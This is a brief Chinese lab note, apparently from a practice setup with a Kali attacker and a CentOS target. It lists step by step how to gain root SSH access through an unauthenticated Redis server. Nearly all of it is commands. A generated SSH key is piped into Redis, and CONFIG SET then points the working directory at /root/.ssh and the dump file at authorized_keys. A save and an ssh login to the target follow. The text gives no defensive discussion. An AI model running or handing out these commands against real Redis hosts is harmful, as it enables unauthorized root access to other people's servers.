攻击机 kali
目标机 centos
安装省略。。。
启动ssh服务
kali上进行解压文件
把tar.gz包进行 解压
Tar zxfv tar.gz
Make
Make install
./redis-cli -h 192.168.232.152
Ssh-keygen -t rsa
Cat /root/.ssh/hack.txt | ./redis-cli -h 192.168.232.152 -x set crack
./redis-cli -h 192.168.232.152
CONFIG GET dir
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
CONFIG GET dbfilename
Save
Ssh 192.168.232.152